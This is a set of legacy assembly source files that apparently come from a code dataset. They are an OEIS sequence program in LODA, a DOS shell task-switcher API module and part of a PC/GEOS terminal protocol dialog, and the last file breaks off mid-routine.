programs/oeis/143/A143131.asm | neoneye/loda | 22 | 2323 | <reponame>neoneye/loda<gh_stars>10-100
; A143131: Binomial transform of [1, 4, 10, 20, 0, 0, 0,...].
; 1,5,19,63,157,321,575,939,1433,2077,2891,3895,5109,6553,8247,10211,12465,15029,17923,21167,24781,28785,33199,38043,43337,49101,55355,62119,69413,77257,85671,94675,104289,114533,125427,136991,149245
mov $2,$0
mul $0,2
bin $0,3
mul $0,5
lpb $2
add $0,8
sub $2,1
lpe
div $0,2
add $0,1
|
dosshell/swapper/woaswapi.asm | minblock/msdos | 0 | 160695 | <gh_stars>0
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1985-1991
; * All Rights Reserved.
; */
;----------------------------------------------------------------------------;
; This file implements all the switch API functions. ;
; ;
; History: ;
; ;
; Tue Nov-13-1990. -by- <NAME> [amitc] ;
; 'SwitchAPICallIn' returns with carry set for unsupported call-ins. ;
; ;
; Thu Aug-23-1990. -by- <NAME> [amitc] ;
; Created for Switcher. (Added the History legend) ;
;----------------------------------------------------------------------------;
?win = 0
?DF = 1
.xlist
include cmacros.inc
include woasegs.inc
include macros.mac
include njmp.mac
include woaswapi.inc
include woakeys.inc
.list
.8086
;----------------------------------------------------------------------------;
; define any public labels or eqautes here. ;
;----------------------------------------------------------------------------;
;----------------------------------------------------------------------------;
createSeg _WOARLMSEG,StubSeg,word,public,code
sBegin StubSeg
assumes cs,StubSeg
assumes ds,StubSeg
;----------------------------------------------------------------------------;
; declare public labe and names. ;
;----------------------------------------------------------------------------;
public SwitchAPICallIn
;----------------------------------------------------------------------------;
; declare variables defined in other files. ;
;----------------------------------------------------------------------------;
externW WoahApp ;App's ID
externB SwitcherName ;name of the switcher
externW SwitcherDisabled ;code why switcher is disabled
externB WoaSwitcherID ;ID of this switcher
externB WoaHotKeyState ;type of hot key pressed
externW WoaNodeToSwitchTo ;next node that we want to switch to
externB WoaNetAsyncSwitching ;Network to be monitored or not
externB AsyncNetPending ;asynchronous requests seen or not
externW WoaSwapAreaParaSize ;size of the swap area
;----------------------------------------------------------------------------;
; define data areas that we need in this file. ;
;----------------------------------------------------------------------------;
Our_Ver_Struc Switcher_Ver_Struc <> ;our version information
Our_NB_API_Info API_Info_Struc <> ;our NetBios handler details.
lpCallBackChain dd ? ;address of the call back SCBI list
CallBackAddrValid db 0 ;above addr valid or not (not by default)
;----------------------------------------------------------------------------;
; declare external constants. ;
;----------------------------------------------------------------------------;
;----------------------------------------------------------------------------;
; define local constants. ;
;----------------------------------------------------------------------------;
SD_SWAPI_DISABLE equ 04h ;disabled by another switcher
;----------------------------------------------------------------------------;
; define the call-in jump table. ;
;----------------------------------------------------------------------------;
SwitchAPICallInTable label word
dw GetVersion ;AX=0
dw TestMemoryRegion ;AX=1
dw SuspendSwitcher ;AX=2
dw ResumeSwitcher ;AX=3
dw HookCallOut ;AX=4
dw UnHookCallOut ;AX=5
dw QueryAPISupport ;AX=6
SWAPI_MAX_CALL_IN equ 6 ;highest call number
;----------------------------------------------------------------------------;
; InitSwitcherAPI: ;
; ;
; This routine should do whatever is needed to initialize our Switcher API ;
; support. At this momemnt it does the following: ;
; ;
; . prepares the GetVersion return information buffer ;
; . prepare a API_Info_Struc buffer for our NetBios handling details ;
; . finds out who is the best API handler for NetBios and if there is ;
; one who is better, it sets the 'WoaNetAsyncSwitching' flag so that ;
; we will not mess with NetBios calls. ;
; ;
; Entry: ;
; None. ;
; Exit: ;
; None. ;
; Uses: ;
; AX,Flags. ;
;----------------------------------------------------------------------------;
cProc InitSwitcherAPI,<NEAR,PUBLIC,PASCAL>,<es,di,bx,si>
localD lp_ISAPI_Call ;to build a call address
cBegin
; prepare the invaliant part of the information buffer.
smov es,cs ;es:di -> the buffer to fill.
mov di,StubSegOFFSET Our_Ver_Struc
mov ax,OUR_API_MAJOR ;save major version of our API spec
mov es:[di.SVS_API_Major],ax
mov ax,OUR_API_MINOR ;save minor version of our API spec
mov es:[di.SVS_API_Minor],ax
mov ax,OUR_PRODUCT_MAJOR ;save major version of the switcher
mov es:[di.SVS_Product_Major],ax
mov ax,OUR_PRODUCT_MINOR ;save minor version of the switcher
mov es:[di.SVS_Product_Minor],ax
xor ah,ah
mov al,WoaSwitcherID ;save the ID
mov es:[di.SVS_Switcher_ID],ax
mov ax,SwitcherDisabled ;save the state
and ax,SD_SWAPI_DISABLE ;isolate the disabled/enabled flag
shiftr ax,2 ;bring it to LSB
.errnz SD_SWAPI_DISABLE - 4
mov es:[di.SVS_Flags],ax
mov ax,StubSegOFFSET SwitcherName ;get the offset of ID
mov wptr es:[di.SVS_Name_Ptr],ax ;save offset
mov ax,cs ;get the segment of name
mov wptr es:[di.SVS_Name_Ptr.2],ax ;save segment
; check to see if there is another switcher.
pushem es,di ;save
mov ax,SWAPI_DETECT_SWITCHER;detect switcher code
xor di,di ;need lots of zeros
mov es,di ;ES:DI = 0
mov bx,di ;BX = 0
int 2fh ;make the call
mov ax,es ;is there another switcher ?
or ax,di
jz ISAPI_NoOther ;no.
; get the address of the previous switcher's version structure.
mov seg_lp_ISAPI_Call,es ;save segment of call address
mov off_lp_ISAPI_Call,di ;save offset of call address
mov ax,SWAPI_GETVERSION ;need to do a get version call
pushf ;save interrupt flags
cli ;interrupts disabled for call
call lp_ISAPI_Call ;get the address of the structure
popf ;restore interrupt state
mov di,bx ;ES:DI has the address.
ISAPI_NoOther:
mov ax,di ;get offset of the structure
mov bx,es ;get the segment of the structure
popem es,di ;restore pointer to our structure
mov wptr es:[di.SVS_Prev_Switcher],ax ;save offset
mov wptr es:[di.SVS_Prev_Switcher.2],bx ;save segment
; the version structure has been prepared, prepare a buffer having details
; about the level of our NetBios handler.
smov es,cs ;es:di -> the buffer to fill.
mov di,StubSegOFFSET Our_NB_API_Info
mov ax,SIZE API_Info_Struc ;save size of the node
mov es:[di.AIS_Length],ax
mov ax,API_NETBIOS ;save API code
mov es:[di.AIS_API],ax
mov ax,OUR_NB_MAJOR_VER ;save major version of our support
mov es:[di.AIS_MAJOR_VER],ax
mov ax,OUR_NB_MINOR_VER ;save minor version of our support
mov es:[di.AIS_MINOR_VER],ax
mov ax,API_SL_MINIMAL ;save support level
mov es:[di.AIS_Support_Level],ax
; Now get the information about the best NetBios handler in the system.
; If 'WoaNetAsyncSwitching' is 0 we will not do any checks at all since
; we will not be handling NetBios calls then
cmp WoaNetAsyncSwitching,0 ;No NetBios support ?
jnz ISAPI_Ret ;that right.
mov ax,SWAPI_QUERY_API_SUPPORT
mov bx,API_NETBIOS ;we are interested in NetBios alone
call QueryAPISupport ;a call in function supported by us
; compare to see if ours is the best or not. If they are equal we would still
; enforce ours since what is returned could be information about ourselves.
mov ax,es ;get the segment
mov di,cs ;get our cs
cmp ax,di ;is it in our segment ?
jnz ISAPI_NoNBSupport ;no, we will turn off NB support
cmp bx,StubSegOFFSET Our_NB_API_Info
jz ISAPI_Ret ;our's is the best, we will do NetBios
ISAPI_NoNBSupport:
; there is a better NetBios handler in the system than us. We will not handle
; any NetBios calls, that is, we will set WoaNetAsyncSwitching.
mov WoaNetAsyncSwitching,-1 ;no NetBios support
ISAPI_Ret:
cEnd
;----------------------------------------------------------------------------;
; BuildCallBackChain: ;
; ;
; This routine builds the chain of call back nodes. ;
; ;
; Entry: ;
; None. ;
; Exit: ;
; ES:BX -- Call Back Chain. ;
;----------------------------------------------------------------------------;
cProc BuildCallBackChain,<NEAR,PUBLIC,PASCAL>,<ax,cx,dx>
cBegin
pushf ;save interrupt state
mov ax,SWAPI_BUILD_CHAIN
; load ES:BX to be 0:0
xor bx,bx ;es:bx should be 0 at call time
mov es,bx
; load the call in finction address in CX:DX
mov dx,StubSegOFFSET SwitchAPICallIn
mov cx,cs
; make the INT 2FH call to build the chain of call back nodes.
int 2fh
popf ;restore interrupt state
cEnd
;----------------------------------------------------------------------------;
; OkToSuspend?: ;
; ;
; This call checks to see if it is ok to syspend the current app. The ;
; following actions are done: ;
; ;
; (1) A QuerySuspend call is done. If any one fails this call we do ;
; a SessionActive call to all respondents and abort the switch ;
; attempt. Else, ;
; (2) We check to see whether our NetBios handler says it's OK to ;
; switch or not (based on whether asynchronous calls have gone ;
; through or not). If all's fine we move to step 3, else we ;
; check to see if there is a better NetBios handler than us or not.;
; If there are none, we do a SessionActive call abd bort the ;
; switch attempt. Else, ;
; (3) We do a SuspendSession call. If this call is failed we abort ;
; our switch attempt as mentioned above, else this routine sets the;
; zero flag and returns, meaning thereby, it is ok to switch. ;
; ;
; Entry: ;
; None. ;
; Exit: ;
; ZERO SET - If the app can be suspended. Also Interrupts are ;
; disabled in this case. ;
; ZERO CLEAR - If app cannot be suspended. ;
;----------------------------------------------------------------------------;
cProc OkToSuspend?,<NEAR,PUBLIC,PASCAL>,<ax,bx,dx,es>
cBegin
mov ax,SWAPI_QUERY_SUSPEND ;code for QuerySuspend
mov dx,0ffffh ;call expects a return code
sti ;interrupts on for this call
call MakeSwitchAPICall ;make the Switch API call
jnz SuspendFails ;some node failed the call
cli ;shut off interrupts.
; have we seen any asynchronous NetBios requests go by ?
cmp cs:[AsyncNetPending],0 ;any asynchronous net requests ?
jz OKTS_Step3 ;next step.
; get a ptr to the API info structure block of the best handler of the
; NetBios API.
mov ax,SWAPI_QUERY_API_SUPPORT
mov bx,API_NETBIOS ;we are interested in NetBios alone
call QueryAPISupport ;a call in function supported by us
; compare to see if ours is the best or not. If it is then we will make the
; decisions and since rquests have been oustanding we will fail the call.
mov ax,es ;get the segment
mov dx,cs ;get our cs
cmp ax,dx ;is it in our segment ?
jnz OKTS_Step3 ;no, goto step 3
cmp bx,StubSegOFFSET Our_NB_API_Info
jz SuspendFails ;fail the switch.
OKTS_Step3:
; do the actual suspend call now. Interrupts should be disabled for this call
mov ax,SWAPI_SUSPEND ;code for QuerySuspend
mov dx,0ffffh ;call expects a return code
cli ;interrupts off for this call
call MakeSwitchAPICall ;make the Switch API call
jz OkToSuspendRet ;suspend succeeded
SuspendFails:
; we got to make a SessionActive call into all the nodes
mov ax,SWAPI_SESSION_ACTIVE ;code for SessionActive
xor dx,dx ;call expects no return code
push cx ;save cx
xor cx,cx ;not the first SessionActive call
sti ;interrupts on for this call
call MakeSwitchAPICall ;make the Switch API call
pop cx ;recover cx, ax != 0
or ax,ax ;ZERO not set -> failure
OkToSuspendRet:
; invalidate the call back address.
mov cs:[CallBackAddrValid],0;the address is invalid
cEnd
;----------------------------------------------------------------------------;
; MakeSwitchAPICall: ;
; ;
; This routine walks build the Switch API call back structure and calls the ;
; the entry points in the chain with the function code in AX till all nodes ;
; have been called or some node returns a non zero value in AX. ;
; ;
; Entry: ;
; AX - Switch API function code. ;
; DX - 0 if return code not significant, -1 if it is. ;
; Flags - Interrupts enabled/disabled as appropriate for the call ;
; ;
; Exit: ;
; ZeroSet - If all the nodes returned success. ;
; ;
; Note: When this routine is called, DS will not always be our segment. ;
;----------------------------------------------------------------------------;
cProc MakeSwitchAPICall,<NEAR,PUBLIC,PASCAL>,<es,di,ax,bx,cx,dx>
localD OTS_Call_Ptr ;needed to call through a DWORD
cBegin
cCall BuildCallBackChain ;ES:BX points to start of chain
; we should save the address of the call back chain so that all call ins to
; us from within the call outs do not have to regenerate the chain. This addr
; will however be invalidated at the end of this call.
mov wptr cs:[lpCallBackChain],bx ;save address of call back chain.
mov wptr cs:[lpCallBackChain+2],es
mov cs:[CallBackAddrValid],-1 ;the address is valid
WalkChainLoop:
push ax ;save
mov ax,es ;is es:bx 0 ?
or ax,bx ;end of chain ?
pop ax ;restore
jz MakeSwitchAPICallRet ;yes, call was successful
; call down the chain.
pushem es,bx,ax,cx ;save in case the call destroys this
push dx ;save return code mask
les bx,es:[bx.SCBI_Entry_Pt];get the entry point
mov seg_OTS_Call_Ptr,es
mov off_OTS_Call_Ptr,bx ;save the address we want to call
mov bx,cs:[WoahApp] ;ID of app
smov es,cs ;es = cs
mov di,StubSegOFFSET SwitchAPICallIn
call OTS_Call_Ptr ;make the call
pop dx ;get back return code mask
and ax,dx ;mask the code
or ax,ax ;call returned success ?
popem es,bx,ax,cx ;restore pointer to current node & code
jnz MakeSwitchAPICallRet ;this call was failed
les bx,es:[bx.SCBI_Next] ;load the pointer to the next node.
jmp short WalkChainLoop ;continue checking.
MakeSwitchAPICallRet:
cEnd
;----------------------------------------------------------------------------;
; SwitchAPICallIn: ;
; ;
; This is the Switch API call in function. This routine checks to see whether;
; the entry code is in range and if it is then the appropriate handler is ;
; called. Carry is set for unsupported call-ins. ;
;----------------------------------------------------------------------------;
SwitchAPICallIn proc far
cmp ax,SWAPI_MAX_CALL_IN ;in range ?
ja SwitchAPICallInErr ;no. Return with carry set
push bx ;save
mov bx,ax ;get the entry code
shl bx,1 ;for indexing into jump table
add bx,StubSegOFFSET SwitchAPICallInTable
mov ax,cs:[bx] ;get the call address
pop bx ;restore
call ax ;call the routine
SwitchAPICallInRet:
ret
SwitchAPICallInErr:
stc ;unsupported call-in
ret
SwitchAPICallIn endp
;----------------------------------------------------------------------------;
; GetVersion: ;
; Entry: ;
; AX = 0 ;
; Interrupts are disabled and may not be enabled. ;
; DOS calls may NOT be made. ;
; Exit: ;
; carry flag clear ;
; AX = 0 for future extensibility. ;
; ES:BX = address of current switcher ver structures. ;
; ;
;----------------------------------------------------------------------------;
GetVersion proc near
smov es,cs ;make es:bx point to Our_Ver_Struc
mov bx,StubSegOFFSET Our_ver_Struc
xor ax,ax ;also clears carry
ret
GetVersion endp
;----------------------------------------------------------------------------;
; TestMemoryRegion: ;
; Entry: ;
; AX = 1 ;
; ES:DI = start of buffer ;
; CX = size of buffer (0=64K) ;
; Interrupts are disabled and may not be enabled. ;
; DOS calls may NOT be made. ;
; Exit: ;
; carry flag clear ;
; AX = 0 If entire buffer is in global memory ;
; AX = 1 If partially in global memory ;
; AX = 2 If entire buffer is in local memory ;
; ;
; Note: The are which is swapped out by the switcher starts at CS:0 and ;
; extends for 'WoaSwapAreaParaSize' paragraphs. This is the only area ;
; that we are going to treat as local, everything else is local. ;
; ;
; There are 5 cases marked below with the appropriate return code. ;
; ;
; ;
; |-------------------| ;
; | local memory | ;
; CASE: 1 2 | 3 | 4 5 ;
; |------| |--------| |-------| |-------| |--------| ;
; |------| |--------| |-------| |-------| |--------| ;
; RETS: 0 1 |----------2--------| 1 0 ;
; ;
;----------------------------------------------------------------------------;
TestMemoryRegion proc near
pushem bx,cx,dx,si,di ;save
xor ax,ax
mov bx,es ;ax:bx has the start segment
dec cx ;one less than size
REPT 4
shl bx,1 ;shift AX:BX left by 1
rcl ax,1
ENDM
add bx,di ;add in start offset
adc ax,0 ;AX:BX has start linear address
; compare AX:BX to CS:0, If AX:BX is less we have case 1 or 2, else 3, 4 or 5
mov di,cs ;get CS
xor si,si ;SI:DI will have left edge of LocalMem
REPT 4
shl di,1 ;shift AX:BX left by 1
rcl si,1
ENDM
call CompareAXBXtoSIDI ;do the comparision
jnc short TMR_Case3or4or5 ;beyong left edge of LocalMemory
; we have case 1 or 2.
add bx,cx
adc ax,0 ;AX:BX has the rt edge of the buffer
; compare the right edge of the buffer to the left edge of global memory
call CompareAXBXtoSIDI ;do the comparision
jc TMR_RetCase1or5 ;case 1.
jmp short TMR_RetCase2or4 ;case 2
TMR_Case3or4or5:
; get the right edge of global memory.
mov di,cs ;get CS
add di,cs:[WoaSwapAreaParaSize];add in size of the local memory
xor si,si ;SI:DI will have left edge of LocalMem
REPT 4
shl di,1 ;shift AX:BX left by 1
rcl si,1 ;SI:DI is one byte beyond right edge
ENDM
; figure out if it is case 5 or not. AX:BX is left edge of buffer and SI:DI
; is one byte beyond right edge of local memory.
call CompareAXBXtoSIDI ;do the comparision
jnc TMR_RetCase1or5 ;case 5.
; we have case 3 or 4. Get the right edge of buffer.
add bx,cx
adc ax,0 ;AX:BX has the rt edge of the buffer
; figure out whether it is case 3 or 4.
call CompareAXBXtoSIDI ;do the comparision
jnc TMR_RetCase2or4 ;case 4
TMR_RetCase3:
mov ax,2 ;buffer is totally local.
jmp short TMR_Ret ;done.
TMR_RetCase1or5:
xor ax,ax ;totally global
jmp short TMR_Ret ;done.
TMR_RetCase2or4:
mov ax,1 ;partially in local memory
TMR_Ret:
popem bx,cx,dx,si,di ;restore
ret
TestMemoryRegion endp
;----------------------------------------------------------------------------;
; SuspendSwitcher: ;
; ;
; Entry: ;
; AX = 2 ;
; ES:DI = Switcher call in of new task switcher, ;
; or 0:0 if not supported. ;
; Interrupts are enabled. ;
; DOS calls can be made. ;
; Exit: ;
; carry flag clear ;
; AX = 0 If the switcher is now suspended. ;
; AX = 1 If the switcher cannot be suspended. ;
; AX = 2 Not suspended, others may start. ;
;----------------------------------------------------------------------------;
SuspendSwitcher proc near
; set a flag bit to disabled the Switcher.
or cs:[SwitcherDisabled], SD_SWAPI_DISABLE
xor ax,ax ;switcher being disabled, clears carry
ret
SuspendSwitcher endp
;----------------------------------------------------------------------------;
; ResumeSwitcher: ;
; ;
; Entry: ;
; AX = 3 ;
; ES:DI = Switcher call in of new task switcher. ;
; Interrupts are enabled. ;
; DOS calls can be made. ;
; Exit: ;
; carry flag clear ;
; AX = 0 (required for future extensibility) ;
;----------------------------------------------------------------------------;
ResumeSwitcher proc near
; reset a flag bit which tells us that the switchet is disabled by another
; task switcher.
and cs:[SwitcherDisabled], NOT SD_SWAPI_DISABLE
xor ax,ax ;return code, clears carry
ret
ResumeSwitcher endp
;----------------------------------------------------------------------------;
; HookCallout: ;
; ;
; Entry: ;
; AX = 4 ;
; ES:DI = address of routine to add to call out chain. ;
; Interrupts are enabled. ;
; DOS calls can be made. ;
; Exit: ;
; carry flag clear ;
; AX = 0 (required for future extensibility) ;
;----------------------------------------------------------------------------;
HookCallOut proc near
xor ax,ax ;we generate INT 2f every time, carry clear
ret
HookCallOut endp
;----------------------------------------------------------------------------;
; UnHookCallout: ;
; ;
; Entry: ;
; AX = 5 ;
; ES:DI = address of routine to delete from call out chain;
; Interrupts are enabled. ;
; DOS calls can be made. ;
; Exit: ;
; carry flag clear ;
; AX = 0 (required for future extensibility) ;
;----------------------------------------------------------------------------;
UnHookCallOut proc near
xor ax,ax ;we generate INT 2f every time, carry clear
ret
UnHookCallOut endp
;----------------------------------------------------------------------------;
; QueryAPISupport: ;
; ;
; Entry: ;
; AX = 6 ;
; BX = API Code. ;
; Interrupts will not be enabled if the call is being from;
; within a call out from the switcher else they will be. ;
; DOS calls will not be made ;
; Exit: ;
; carry flag clear ;
; AX = 0 (required for future extensibility) ;
; ES:BX = address of the API_Info_Struc belonging to the ;
; respondent with the best level of support for ;
; this API. ;
;----------------------------------------------------------------------------;
QueryAPISupport proc near
pushem cx,si,ds ;save
mov cx,bx ;get the API code
; if the call back chain is still valid we whould not try to build the chain
; again.
les bx,cs:[lpCallBackChain] ;load it, in case it is vcalid
cmp cs:[CallBackAddrValid],0;is the call back address valid ?
jnz QAPIS_Walk_Chain ;it is valid
; will the chain again.
cCall BuildCallBackChain ;ES:BX points to start of chain
QAPIS_Walk_Chain:
xor si,si ;ds:si -> best handler's structure.
mov ds,si
QAPIS_WalkChainLoop:
push ax ;save
mov ax,es ;is es:bx 0 ?
or ax,bx ;end of chain ?
pop ax ;restore
jz QAPIS_DoneWithWalk ;yes, we have the results.
; get to the correct API node.
pushem es,bx,ax ;save
les bx,es:[bx.SCBI_API_Ptr] ;start of the pointer.
mov ax,es ;is it a valid node
or ax,bx ;NULL pointer ?
jz QAPIS_SameNode ;yes, skip this one.
QAPIS_SubLoop:
mov ax,es:[bx.AIS_Length] ;get the length
or ax,ax ;is this the end ?
jz QAPIS_SameNode ;have exhausted the list
cmp es:[bx.AIS_API],cx ;is it the right API
jz QAPIS_FoundAPINode ;yes, got it!
add bx,ax ;es:bx -> next API node
jmp short QAPIS_SubLoop ;keep looking for node
QAPIS_FoundAPINode:
; check to see if this is a betther handler.
call CompareAPILevels ;compare levels
jnc QAPIS_SameNode ;current best is still best
; es:bx points to a better node's structure. Save it in DS:SI.
smov ds,es ;ds:si = es:bx
mov si,bx
QAPIS_SameNode:
popem es,bx,ax ;restore
; continue walking down the line.
les bx,es:[bx.SCBI_Next] ;load the pointer to the next node.
jmp short QAPIS_WalkChainLoop;continue checking.
QAPIS_DoneWithWalk:
; ds:si -> API_Info_Struc of best handler. Compare this with ours and if the
; current one is better or equal retain it.
smov es,cs ;es:bx -> to our API info structure
mov bx,StubSegOFFSET Our_NB_API_Info
call CompareAPILevels ;see if DS:SI still points to best
jc QAPIS_Ret ;ES:BX -> best handler's API struc
; DS:SI points to the best, put it in ES:BX
smov es,ds
mov bx,si
QAPIS_Ret:
popem cx,si,ds ;save
ret
QueryAPISupport endp
;----------------------------------------------------------------------------;
; CompareAPILevels: ;
; ;
; Entry: ;
; ES:BX -> first API Info structure. ;
; DS:SI -> second API Info structure. ;
; Exit: ;
; Carry clear if the second structure is still the better handler. ;
; Uses: ;
; Flags. ;
;----------------------------------------------------------------------------;
CompareAPILevels proc near
push ax ;save
mov ax,ds ;is there a valid second guy ?
or ax,si
jz CAPIL_FirstBest ;first one is the best.
mov ax,[si.AIS_Major_Ver] ;major ver of second one
cmp ax,es:[bx.AIS_Major_Ver];major ver of first one
jb CAPIL_FirstBest ;we have a new node
ja CAPIL_Ret ;second is better, carry clear
mov ax,[si.AIS_Minor_Ver] ;minor ver of second one.
cmp ax,es:[bx.AIS_Minor_Ver];minor ver of first guy.
jb CAPIL_FirstBest ;we have a new node
ja CAPIL_Ret ;the current one is better
mov ax,[si.AIS_Support_Level];level of second guy
cmp ax,es:[bx.AIS_Support_Level]
jae CAPIL_Ret ;second guy is better
CAPIL_FirstBest:
stc ;first guy is better
CAPIL_Ret:
pop ax ;restore
ret
CompareAPILevels endp
;----------------------------------------------------------------------------;
; ComapareAXBXtoSIDI: ;
; ;
; Compare AX:BX (32 bits) to SI:DI (32 bits), the flags return the result of ;
; the comparision as would a CMP AX:BX,SI:DI would do. ;
;----------------------------------------------------------------------------;
CompareAXBXtoSIDI proc near
cmp ax,si ;compare high words
jne CABTSD_Ret ;either greater or less, flags tell
cmp bx,di ;compare low words, flags have result
CABTSD_Ret:
ret
CompareAXBXtoSIDI endp
;----------------------------------------------------------------------------;
; SWAPICreateSession: ;
; ;
; Makes a CREATE_SESSION SWAPI call out. ;
;----------------------------------------------------------------------------;
cProc SWAPICreateSession,<NEAR,PUBLIC,PASCAL>
cBegin
mov ax,SWAPI_CREATE ;create session call
mov dx,0ffffh ;call expects a return code
sti ;interrupts on for this call
call MakeSwitchAPICall ;make the Switch API call
; invalidate the call back address.
mov cs:[CallBackAddrValid],0;the address is invalid
cEnd
;----------------------------------------------------------------------------;
; SWAPIResumeSession: ;
; ;
; Makes a RESUME_SESSION SWAPI call out. ;
;----------------------------------------------------------------------------;
cProc SWAPIResumeSession,<NEAR,PUBLIC,PASCAL>
cBegin
mov ax,SWAPI_RESUME ;code for ResumeSession
xor dx,dx ;call expects no return code
mov cx,1 ;being run for the first time
cli ;interrupts off for this call.
call MakeSwitchAPICall ;make the Switch API call
; invalidate the call back address.
mov cs:[CallBackAddrValid],0;the address is invalid
cEnd
;----------------------------------------------------------------------------;
; SWAPISessionActive: ;
; ;
; Makes a SESSION_ACTIVE SWAPI call out. ;
;----------------------------------------------------------------------------;
cProc SWAPISessionActive,<NEAR,PUBLIC,PASCAL>
cBegin
mov ax,SWAPI_SESSION_ACTIVE ;code for SessionActive
xor dx,dx ;call expects no return code
mov cx,1 ;being run for the first time
sti ;interrupts on for this call
call MakeSwitchAPICall ;make the Switch API call
; invalidate the call back address.
mov cs:[CallBackAddrValid],0;the address is invalid
cEnd
;----------------------------------------------------------------------------;
; SWAPIDestroySession: ;
; ;
; Makes a DESTROY_SESSION SWAPI call out. ;
;----------------------------------------------------------------------------;
cProc SWAPIDestroySession,<NEAR,PUBLIC,PASCAL>
cBegin
mov ax,SWAPI_DESTROY ;code for DestroySession
xor dx,dx ;call expects no return code
sti ;interrupts on for this call
call MakeSwitchAPICall ;make the Switch API call
; invalidate the call back address.
mov cs:[CallBackAddrValid],0;the address is invalid
cEnd
;----------------------------------------------------------------------------;
sEnd StubSeg
end
|
Appl/Term/Main/mainProtocol.asm | steakknife/pcgeos | 504 | 29519 | <reponame>steakknife/pcgeos
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: mainProtocol.asm
AUTHOR: <NAME>
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 11/ 2/93 Initial version.
DESCRIPTION:
Code for the protocol interaction dialog. Moved here from
mainMain.asm.
$Id: mainProtocol.asm,v 1.1 97/04/04 16:55:21 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if not _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RemoveInactivePorts
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Disable serial ports that aren't available
CALLED BY: ProtocolInteractionInitiate
PASS: bp - SerialDeviceMap record
ds - segment of UI objects
RETURN: nothing
DESTROYED: bp, bx, dx, ax, di, cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dennis 07/13/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
portTable label word
dw offset ProtocolUI:SetCom1
dw offset ProtocolUI:SetCom2
dw offset ProtocolUI:SetCom3
dw offset ProtocolUI:SetCom4
portTableEnd label word
RemoveInactivePorts proc near
uses si
.enter
;
; Lock down the object block holding the items so we can more
; efficiently send them messages.
;
GetResourceHandleNS SetCom1, bx
call ObjSwapLock
push bx
mov bx, offset portTable ;set ptr into table
CheckHack <SERIAL_COM2 - SERIAL_COM1 eq 2>
topLoop:
mov si, cs:[bx]
shr bp, 1
jc enable
mov ax, MSG_GEN_SET_NOT_ENABLED
jmp sendIt
enable:
mov ax, MSG_GEN_SET_ENABLED
sendIt:
mov dl, VUM_NOW
push bp
call ObjCallInstanceNoLock
pop bp
next:
shr bp, 1 ;skip unused bit
add bx, 2 ;
cmp bx, offset portTableEnd ;
jb topLoop
;
; Re-lock object block we had on entry...
;
pop bx
call ObjSwapUnlock
.leave
ret
RemoveInactivePorts endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ProtocolInteractionInitiate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION:
PASS: *ds:si - ProtocolInteractionClass object
ds:di - ProtocolInteractionClass instance data
es - dgroup
RETURN:
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 11/ 2/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ProtocolInteractionInitiate method dynamic ProtocolInteractionClass,
MSG_GEN_INTERACTION_INITIATE
uses ax,cx,dx,bp
.enter
push ds
segmov ds, es ; dgroup
call SerialCheckPorts
pop ds
call RemoveInactivePorts
.leave
mov di, offset ProtocolInteractionClass
GOTO ObjCallSuperNoLock
ProtocolInteractionInitiate endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ProtocolInteractionApply
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: hack MSG_GEN_APPLY for Protocol box
CALLED BY: MSG_GEN_APPLY (sent by UI)
PASS: method stuff
es - segment where ProtocolInteraction class defined
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 09/18/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ProtocolInteractionApply method ProtocolInteractionClass, MSG_GEN_APPLY
;
; set the flag saying that we are handling protocol-interaction
;
mov es:[protocolInteraction], TRUE
mov es:[reportedProtocolInteractionError], FALSE
;
; call superclass to send MSG_GEN_APPLY to the various lists
;
mov di, offset ProtocolInteractionClass
call ObjCallSuperNoLock
;
; then fetch and store the states of the various gadgets in the dialog
;
call StoreProtocolSettings
;
; reset protocol-interaction flag via application queue as we want
; it reset after all the various lists have sent out their
; notifications
;
mov bx, es:[termProcHandle]
mov ax, MSG_DONE_PROTOCOL_INTERACTION
mov di, mask MF_FORCE_QUEUE
call ObjMessage
ret
ProtocolInteractionApply endm
StoreProtocolSettings method ProtocolInteractionClass,
MSG_PROTOCOL_INTERACTION_STORE_SETTINGS
;we make this assumption in ProtocolInteractionDeref
EC < cmp si, offset ProtocolBox >
EC < ERROR_NE 0 >
GetResourceHandleNS ProtocolUI, bx
